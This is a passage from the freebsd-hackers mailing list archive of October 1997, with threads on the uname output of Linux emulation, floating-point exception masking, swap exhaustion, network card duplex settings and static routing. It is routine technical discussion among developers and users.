for their within-2-hours response, in particular when it comes to freeware operating systems, so in the meantime, you can say sysctl -w machdep.linuxemu.uname.sysname=linux sysctl -w machdep.linuxemu.uname.version=2.0.12.5 ...to get around the problem until the fix arrives. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Oct 10 22:52:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA02241 for hackers-outgoing; Fri, 10 Oct 1997 22:52:26 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA02231 for ; Fri, 10 Oct 1997 22:52:22 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA11251 for freebsd-hackers@FreeBSD.ORG; Sat, 11 Oct 1997 07:52:21 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA16224; Sat, 11 Oct 1997 07:50:06 +0200 (MET DST) Message-ID: <19971011075006.ZE13142@uriah.heep.sax.de> Date: Sat, 11 Oct 1997 07:50:06 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Run out of swap References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Brian N. Handy on Oct 10, 1997 15:41:51 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian N. Handy wrote: > HOWEVER, now what I'm > seeing every so often is that it doesn't kick me out, but instead the > machine just hangs. The clock in the corne of my screen stops, the mouse > stops, the num lock light doesn't go off and off. Fixed and dialated. > Once this happens, it seems like I have to hit the reset button. Well, i think the largest process is being killed. If this is incidentally your X server, you are hosed. Try to avoid the situation. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Oct 10 23:18:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA02993 for hackers-outgoing; Fri, 10 Oct 1997 23:18:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hub.org (hub.org [207.107.138.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA02984 for ; Fri, 10 Oct 1997 23:18:08 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by hub.org (8.8.5/8.7.5) with SMTP id CAA27424; Sat, 11 Oct 1997 02:18:01 -0400 (EDT) Date: Sat, 11 Oct 1997 02:18:00 -0400 (EDT) From: The Hermit Hacker To: Tom cc: hackers@FreeBSD.ORG Subject: Re: vx0 100Mbs card in 2.2.2-RELEASE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Tom wrote: > > On Fri, 10 Oct 1997, The Hermit Hacker wrote: > > ... > > to half duplex on a port by port basis...currently, its set at full duplex... > > could this possible relate, or has nothing to do with it? > > It is the cause. Set it to half for the ports to the FreeBSD systems. > The vx driver will not do full-duplex. Perfect, that seems to have done it. Thanks... Systems Administrator @ hub.org scrappy@freebsd.org From owner-freebsd-hackers Fri Oct 10 23:29:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03277 for hackers-outgoing; Fri, 10 Oct 1997 23:29:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03269 for ; Fri, 10 Oct 1997 23:29:14 -0700 (PDT) (envelope-from andrew@zeta.org.au) Received: from gurney.reilly.home (d15.syd2.zeta.org.au [203.26.11.15]) by godzilla.zeta.org.au (8.8.5/8.6.9) with ESMTP id QAA13202; Sat, 11 Oct 1997 16:24:34 +1000 Received: (from andrew@localhost) by gurney.reilly.home (8.8.7/8.8.5) id QAA05971; Sat, 11 Oct 1997 16:24:21 +1000 (EST) From: Andrew Reilly Message-Id: <199710110624.QAA05971@gurney.reilly.home> Date: Sat, 11 Oct 1997 16:24:20 +1000 (EST) Subject: Re: Floating point exceptions To: tlambert@primenet.com cc: gjohnson@nola.srrc.usda.gov, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710102149.OAA15093@usr08.primenet.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 10 Oct, Terry Lambert wrote: >> I've got a calculation intensive (simulation) application that I run that >> aborts with a Floating Point Exception error under FreeBSD -current. I can run >> this application just fine under Linux, but of course I want to run it under >> FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps >> FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's >> rather than trap them? Better yet, can I do that for a specific application at >> compile time? Your assistance is greatly appreciated. I posted a message, asking a similar question, to freebsd-current a week or so ago, but saw no response. Admittedly it was buried under an old thread (xlock: caught signal 8...). I'll try again here, since this is the correct place, and thanks to this list, I have now found a solution (work around?) that works. > Fix: Correct the code to not generate exceptions This is just plain rude. There are a bunch of exceptions that are enabled by default that are simply irrelevant for any signal processing code that I can think of, and were certainly what was causing the breakage of a program that was otherwise performing exactly as I intended. In particular, trapping on underflow is, to my mind, counter-intuitive. No, the code is _correct_ in my case. > Bad fix: fpsetmask( 0); This works for me. Having found this function, and looked it up in the manual, I think that the arg of 0 is perhaps a bit harsh. In my case I think ~(FP_X_UFL+FP_IMP+FP_X_DNML) would probably do the job. Is there a pointer to fpsetmask in any other manual page? My search that started in math.3m did not find it. > Worst fix: signal( SIGFPE, SIG_IGN); Very bad fix, because when I tried it, it just didn't work. I assume that the trap handler does not correctly restore the floating point state. The program ran to completion, but IEEE error values of some sort propagated from the exception point and ruined the results. For anyone who cares to help with an attempt at Terry's "Fix:", the code in my case is part of the HMM code from a speech recogniser. With the default FreeBSD maths environment (from a build world on current 2.2 sources on 3rd September), and the C program compiled in GCC with -g -Wall switches (only). No compiler warnings. (gdb) run -S call.lst Starting program: xxx_ux -S call.lst Call Setup. RunUtterance(model:amt4.bin, speech:amt1.lin) Program received signal SIGFPE, Arithmetic exception. 0x4a8c in CalcU () at state.c:305 305 if (s > *pMax) *pMax = s; [ register float s; register float *pMax; ] (gdb) p s $1 = 5.46506401e-44 (gdb) p *pMax $2 = -32.9900398 (gdb) disassemble Dump of assembler code for function CalcU: [elided] 0x4a76 : addl $0x4,%ecx 0x4a79 : movl (%edi),%esi 0x4a7b : movl %esi,0xffffffe8(%ebp) 0x4a7e : movl 0xffffffe8(%ebp),%eax 0x4a81 : fsts (%eax) 0x4a83 : addl $0x4,(%edi) 0x4a86 : addl $0x4,%edi 0x4a89 : movl 0xffffffe4(%ebp),%eax 0x4a8c : fcoms (%eax) 0x4a8e : fnstsw 0x4a90 : andb $0x45,%ah 0x4a93 : jne 0x4a9c 0x4a95 : movl 0xffffffe4(%ebp),%esi 0x4a98 : fstps (%esi) 0x4a9a : jmp 0x4a9e 0x4a9c : fstp %st(0) So: I imagine fcoms is a short floating point compare. Any reason that should generate an exception in this case? On a system without denorms and with real 32-bit floats, the comparison would be 0.0>-30.99..., which is hardly going to be a problem. (in the earlier post, bde said:) > Continuing from SIGFPE handlers is much harder than masking FP exceptions, > at least on i386's. Yes. I tried doing a signal(SIGFPE,SIG_IGN) at the top of main, but that just made it produce totally incorrect results. -- Andrew "The steady state of disks is full." -- Ken Thompson From owner-freebsd-hackers Fri Oct 10 23:32:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03450 for hackers-outgoing; Fri, 10 Oct 1997 23:32:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hub.org (hub.org [207.107.138.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03445 for ; Fri, 10 Oct 1997 23:32:44 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by hub.org (8.8.5/8.7.5) with SMTP id CAA20820 for ; Sat, 11 Oct 1997 02:32:33 -0400 (EDT) Date: Sat, 11 Oct 1997 02:32:32 -0400 (EDT) From: The Hermit Hacker To: hackers@freebsd.org Subject: static_ip in rc.conf/rc.network Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hate to ask this one, but how do I make use of it? I have two routes to the Internet, and wish to have some traffic go through the secondary one. Is there a file that I can setup that contains these routes? Looking at rc.network, this doesn't appear to be possible, but I may be mis-reading it. I recall that there is a way of doing this using routed, but my book is in Halifax (am currently in Toronto)... thanks... Marc G. Fournier scrappy@hub.org Systems Administrator @ hub.org scrappy@freebsd.org From owner-freebsd-hackers Fri Oct 10 23:41:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03743 for hackers-outgoing; Fri, 10 Oct 1997 23:41:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bachue.usc.unal.edu.co ([168.176.3.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03735; Fri, 10 Oct 1997 23:41:13 -0700 (PDT) (envelope-from giffunip@asme.org) Received: from unalmodem.usc.unal.edu.co ([168.176.3.33]) by bachue.usc.unal.edu.co (Netscape Messaging Server 3.0) with SMTP id AAA23637; Sat, 11 Oct 1997 01:43:38 +0500 Message-ID: <343F312A.386@asme.org> Date: Sat, 11 Oct 1997 00:56:26 -0700 From: "Pedro Giffuni S," Organization: Ingenieria Integral Ltda. X-Mailer: Mozilla 3.01Gold [it] (Win16; I) MIME-Version: 1.0 To: Douglas Carmichael CC: freebsd-hackers@FreeBSD.ORG, freebsd-platforms@FreeBSD.ORG Subject: Re: FreeBSD for the PowerMac? References: <199710102301.SAA00400@dcarmich.pr.mcs.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Douglas Carmichael wrote: > > Could it be done by: > > 1) Porting the "Lites" single server (http://www.cs.hut.fi/lites.html) to PowerPC There is a newer version http://www.cs.utah.edu/projects/flux/lites/html/ > 2) Running it under Mach (which is already used by MkLinux) There is a NetBSD project also, but I can't recall if it runs with Mach. > 3) Making the whole "world" except the kernel and libraries from FreeBSD/i386. > To be honest there is not much interest for this :(. The ALPHA port is more interesting and I think Digital has offered some support for this. The other platforms don't really seem to care at all. Pedro. From owner-freebsd-hackers Sat Oct 11 00:14:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA04996 for hackers-outgoing; Sat, 11 Oct 1997 00:14:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA04991 for ; Sat, 11 Oct 1997 00:14:48 -0700 (PDT) (envelope-from tom@sdf.com) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xJvkA-0001vO-00; Sat, 11 Oct 1997 00:13:46 -0700 Date: Sat, 11 Oct 1997 00:13:45 -0700 (PDT) From: Tom To: The Hermit Hacker cc: hackers@freebsd.org Subject: Re: static_ip in rc.conf/rc.network In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 11 Oct 1997, The Hermit Hacker wrote: > Hate to ask this one, but how do I make use of it? I have two routes to > the Internet, and wish to have some traffic go through the secondary one. This is not really a "hackers" topic. What kind of routes? > Is there a file that I can setup that contains these routes? Looking at > rc.network, this doesn't appear to be possible, but I may be mis-reading > it. rc.conf has lines you can add to get static routes. > I recall that there is a way of doing this using routed, but my book is in > Halifax (am currently in Toronto)... Perhaps, if you can pick up the routes off the LAN via RIP. > thanks... > > Marc G. Fournier scrappy@hub.org > Systems Administrator @ hub.org scrappy@freebsd.org > > > Tom From owner-freebsd-hackers Sat Oct 11 00:15:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA05092 for hackers-outgoing; Sat, 11 Oct 1997 00:15:56 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA05083 for ; Sat, 11 Oct 1997 00:15:53 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA17411; Sat, 11 Oct 1997 00:15:42 -0700 (MST) From: Terry Lambert Message-Id: <199710110715.AAA17411@usr04.primenet.com> Subject: Re: Floating point exceptions To: reilly@zeta.org.au (Andrew Reilly) Date: Sat, 11 Oct 1997 07:15:39 +0000 (GMT) Cc: tlambert@primenet.com, gjohnson@nola.srrc.usda.gov, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710110624.QAA05971@gurney.reilly.home> from "Andrew Reilly" at Oct 11, 97 04:24:20 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Fix: Correct the code to not generate exceptions > > This is just plain rude. There are a bunch of exceptions that are > enabled by default that are simply irrelevant for any signal processing > code that I can think of, and were certainly what was causing the > breakage of a program that was otherwise performing exactly as I > intended. In particular, trapping on underflow is, to my mind, > counter-intuitive. No, the code is _correct_ in my case. Actually, I find this strange. It kind of assumes that all hardware has equivalent precision. I can guarantee you that code that works fine on UniCOS will have problems on an Inel-based PC if it expects 128 bit precision. 8-(. To me, this was not a rude response. An exception where an exception was not an intended result of the calculation is an exception that is not masked, to my mind, and a useful indicator that all is not right with the code. It was certainly not intended as a rude remark. I think it's better to get an error than to get non-obviously erroneous results (the alternative). But I am a physics geek at heart, so maybe I am biased toward useful answers and ugly exceptions vs. useless answers and no exceptions... depends on your idea of "useless", I suppose... > > Bad fix: fpsetmask( 0); > > This works for me. Having found this function, and looked it up in the > manual, I think that the arg of 0 is perhaps a bit harsh. In my case I > think ~(FP_X_UFL+FP_IMP+FP_X_DNML) would probably do the job. Is there > a pointer to fpsetmask in any other manual page? My search that > started in math.3m did not find it. To be honest, I knew the general name of the function off the top of my head (I do a lot of event simulation), and I used man -k setmask to find the specific name. But it is referenced in floatingpoint.h by prototype... and that header is referenced by most of the FP functions. > > Worst fix: signal( SIGFPE, SIG_IGN); > > Very bad fix, because when I tried it, it just didn't work. I assume > that the trap handler does not correctly restore the floating point > state. The program ran to completion, but IEEE error values > of some sort propagated from the exception point and ruined the results. The point of the handler is to localize the errors. Mask those which are intentional, and fix those that aren't on a case-by-case basis. I had a number of precision fixes to 21 year old FORTRAN code that resulted from getting exceptions thrown like this. > For anyone who cares to help with an attempt at Terry's "Fix:", the > code in my case is part of the HMM code from a speech recogniser. [ ... ] An interesting application; you'll note it falls into my "signal processing" bucket which I designated as a bad thing to need to fix because of the need for repeatability... > Program received signal SIGFPE, Arithmetic exception. > 0x4a8c in CalcU () at state.c:305 > 305 if (s > *pMax) *pMax = s; > > [ register float s; register float *pMax; ] Look to the calculation immediately before the compare. As I stated in another posting discussing FPU exception reporting, lazy binding of FPU register switching, and SMP issues related to lazy reporting of an error when the code that generated the error could run on a different processor before the lazy reporting signalled the error on the original processor, FPU error conditions are signalled on the first FPU instruction *after* the instruction that caused the error. This is to keep the instructions pipelined without a single cycle reporting latency per instruction. The fact that the lazy reporting occurs potentially in another process is an issue that requires flagging and trapping to allow lazy reporting and to allow SMP context siwtches to work for FPU reporting (see the SMP list archives: FPU code is known to have problems in the SMP case). Actualy, if we used the TSS for task switching, this would be fixed, but the TSS context switch is significantly higher overhead than the FreeBSD context switch. > So: I imagine fcoms is a short floating point compare. Any > reason that should generate an exception in this case? The FPU instruction before it resulted in an exception that wasn't reported until this FPU instruction triggered the report. > > Continuing from SIGFPE handlers is much harder than masking FP exceptions, > > at least on i386's. > > Yes. I tried doing a signal(SIGFPE,SIG_IGN) at the top of > main, but that just made it produce totally incorrect results. The FPU registers are not saved (or restored) by signal handlers, which are not expected to execute FPU instructions. If you will look at the man page, there is actually a *lot* of calls which are not "safe" to use from a signal handler, according to POSIX. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 00:20:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA05327 for hackers-outgoing; Sat, 11 Oct 1997 00:20:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA05321; Sat, 11 Oct 1997 00:20:28 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA00666; Sat, 11 Oct 1997 16:47:21 +0930 (CST) Message-Id: <199710110717.QAA00666@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: richard@pegasus.com (Richard Foulk) cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). In-reply-to: Your message of "Fri, 10 Oct 1997 07:54:17 -1000." <199710101754.HAA17182@pegasus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Sat, 11 Oct 1997 16:47:18 +0930 From: Mike Smith Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id AAA05322 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The goal is to run software. If the emulation is incomplete then > chances are some things won't run -- which means the emulator fails it's > primary task. > > If you find the `Linux' report to be that hideous then make the output > configurable. But the default action should be as close to what Linux > produces as possible. > > If Linux software doesn't run, for any reason, then the emulator has failed. This is the issue of "bug comptatability". Let us evaluate the situation realistically, rather than wandering off ranting at the stars. We have had Linux ABI emulation for quite some time now (two, three years?). In that time there have been many improvements from many quarters, leading to a very useful feature set. There have also been a considerable number of problem reports, many of which have lead to fixes. In all those years, this is the first time that a problem has surfaced with the return value from the uname() call. It was also trivially resolved in a positive fashion after minor discussion with the software vendor. By my reading of this, there is no problem. mike From owner-freebsd-hackers Sat Oct 11 00:22:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA05404 for hackers-outgoing; Sat, 11 Oct 1997 00:22:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA05394; Sat, 11 Oct 1997 00:22:11 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA00683; Sat, 11 Oct 1997 16:49:10 +0930 (CST) Message-Id: <199710110719.QAA00683@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: richard@pegasus.com (Richard Foulk) cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). In-reply-to: Your message of "Fri, 10 Oct 1997 07:54:17 -1000." <199710101754.HAA17182@pegasus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Sat, 11 Oct 1997 16:49:09 +0930 From: Mike Smith Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id AAA05398 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Oh, just by the way: > When you're emulating another OS you want to get as close as possible > to acting just like that OS. Period. We aren't emulating another OS; we are providing an ABI compatability layer such that programs built for Linux can be run. We are FreeBSD. > If you find the `Linux' report to be that hideous then make the output > configurable. But the default action should be as close to what Linux > produces as possible. It already is, and several of us have already explained exactly how one would go about doing this. mike From owner-freebsd-hackers Sat Oct 11 00:36:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA05996 for hackers-outgoing; Sat, 11 Oct 1997 00:36:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA05972 for ; Sat, 11 Oct 1997 00:36:06 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id RAA00733; Sat, 11 Oct 1997 17:01:49 +0930 (CST) Message-Id: <199710110731.RAA00733@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Russell L. Carter" cc: gjohnson@nola.srrc.usda.gov, tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Floating point exceptions In-reply-to: Your message of "Fri, 10 Oct 1997 18:46:05 MST." <199710110146.SAA08283@dnstoo.consys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 17:01:47 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > |> FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps > |> FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's > |> rather than trap them? Better yet, can I do that for a specific application at > |> compile time? Your assistance is greatly appreciated. > | > |Fix: Correct the code to not generate exceptions > > Hmm, I don't think so. There are a variety of reasons that NA people > want to use those carefully thought out exceptions. Find > 'em yerself. In the original case the NA people weren't using the exceptions; they were ignoring them. IMHO FreeBSD does the correct thing; it notifies you of the exception. It is your responsibility to decide what to do about it. I have spent not a little time carefully explaining to various scientific programmers about arithmetic exceptions and why they should care about them, and so far have had a 100% conversion rate. If you look a physicist in the eye and say "unquantifiable error", they will usually listen. mike From owner-freebsd-hackers Sat Oct 11 01:23:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07797 for hackers-outgoing; Sat, 11 Oct 1997 01:23:09 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA07790 for ; Sat, 11 Oct 1997 01:23:07 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id BAA19662; Sat, 11 Oct 1997 01:22:30 -0700 (MST) From: Terry Lambert Message-Id: <199710110822.BAA19662@usr04.primenet.com> Subject: Re: Floating point exceptions To: mike@smith.net.au (Mike Smith) Date: Sat, 11 Oct 1997 08:22:29 +0000 (GMT) Cc: rcarter@consys.com, gjohnson@nola.srrc.usda.gov, tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710110731.RAA00733@word.smith.net.au> from "Mike Smith" at Oct 11, 97 05:01:47 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > If you look a physicist in the eye and say "unquantifiable error", > they will usually listen. Heh. Before orafter they change their underwear? 8-) 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 01:36:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA08562 for hackers-outgoing; Sat, 11 Oct 1997 01:36:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA08557 for ; Sat, 11 Oct 1997 01:36:09 -0700 (PDT) (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id CAA11575 for hackers@freebsd.org; Sat, 11 Oct 1997 02:36:08 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id CAA11937 for ; Sat, 11 Oct 1997 02:30:06 -0600 (MDT) Date: Sat, 11 Oct 1997 02:30:06 -0600 (MDT) From: Marc Slemko To: hackers@freebsd.org Subject: vm bogons in 2.2? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is 2.2-stable as of Aug 18. I have posted on similar things before (running out of swap when there should be no reason), but haven't really got any ideas. What I'm seeing now is swap usage growing and growing without being able to find anything using it. last pid: 9885; load averages: 0.79, 0.72, 0.74 01:59:02 52 processes: 2 running, 48 sleeping, 2 stopped CPU states: 9.8% user, 0.0% nice, 17.3% system, 1.1% interrupt, 71.8% idle Mem: 43M Active, 11M Inact, 19M Wired, 18M Cache, 8350K Buf, 2112K Free Swap: 320M Total, 71M Used, 249M Free, 22% Inuse PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 17925 news -14 0 29740K 23424K ufslk2 237:27 8.16% 8.16% innd 3059 news 2 0 9040K 8988K select 27:33 3.17% 3.17% innfee 15153 root 2 0 676K 596K select 0:23 0.72% 0.72% sshd 9883 marcs 31 0 632K 768K RUN 0:00 2.74% 0.38% top 9885 news 33 0 252K 740K RUN 0:00 4.69% 0.23% expire 8476 news 2 0 940K 12504K sbwait 0:17 0.08% 0.08% nnrpd Then I kill pid 3059. last pid: 10457; load averages: 0.95, 0.85, 0.79 02:05:10 48 processes: 2 running, 44 sleeping, 2 stopped CPU states: 17.5% user, 0.0% nice, 14.1% system, 3.0% interrupt, 65.4% idle Mem: 52M Active, 6920K Inact, 19M Wired, 14M Cache, 8351K Buf, 1060K Free Swap: 320M Total, 36M Used, 284M Free, 11% Inuse Why is a 10 meg process freeing 35 megs of swap? I am quite sure that killing that process is what caused the problem. The process allocate and deallocates a reasonably large amount of memory over time (say... a total of a couple of gigs over the couple of days it had been running; not much more than ~10 at a time though). I haven't seen any changes in 2.2-stable recently that would fix this, but I will upgrade it when I get around to it to see... From owner-freebsd-hackers Sat Oct 11 02:14:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA09881 for hackers-outgoing; Sat, 11 Oct 1997 02:14:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA09874 for ; Sat, 11 Oct 1997 02:14:19 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA00991; Sat, 11 Oct 1997 18:41:21 +0930 (CST) Message-Id: <199710110911.SAA00991@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Brian N. Handy" cc: freebsd-hackers@freebsd.org Subject: Re: Run out of swap In-reply-to: Your message of "Fri, 10 Oct 1997 15:41:51 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 18:41:19 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I'm having problems with my machine hanging when I run it up against the > stops in terms of memory usage. Is it actually hitting the wall swapwise when it dies, or is it a case of "sometimes I run out of swap, sometimes it dies"? > Now every so often I start up a too-ambitious job, run out of memory and > it crashes. I get the predictable "job kilt" line which tells me I ran > out of memory and I was dutifully kicked out. HOWEVER, now what I'm > seeing every so often is that it doesn't kick me out, but instead the > machine just hangs. The clock in the corne of my screen stops, the mouse > stops, the num lock light doesn't go off and off. Fixed and dialated. > Once this happens, it seems like I have to hit the reset button. You say "now what I'm seeing" - did you have similar problems when you were running with 64M? > It could be these last two are too big for the smallish about of swap I > have available. Anyway, are there any suggestions out there? I'm not > sure how to figure out where I'm hanging, but I seem to be able to repeat > the problem fairly consistently. I'd rather the job crashed instead of > just running into a wall. Wind up a killer job, and then swap to the text console. Keep an eye out for any console messages. Particularly, do you have DDB in the kernel? mike From owner-freebsd-hackers Sat Oct 11 02:17:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA09980 for hackers-outgoing; Sat, 11 Oct 1997 02:17:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from doberman.cisco.com (doberman.cisco.com [171.69.1.178]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id CAA09975 for ; Sat, 11 Oct 1997 02:17:33 -0700 (PDT) (envelope-from amcrae@cisco.com) Received: (amcrae@localhost) by doberman.cisco.com (8.6.12/8.6.5) id CAA06638; Sat, 11 Oct 1997 02:12:44 -0700 Date: Sat, 11 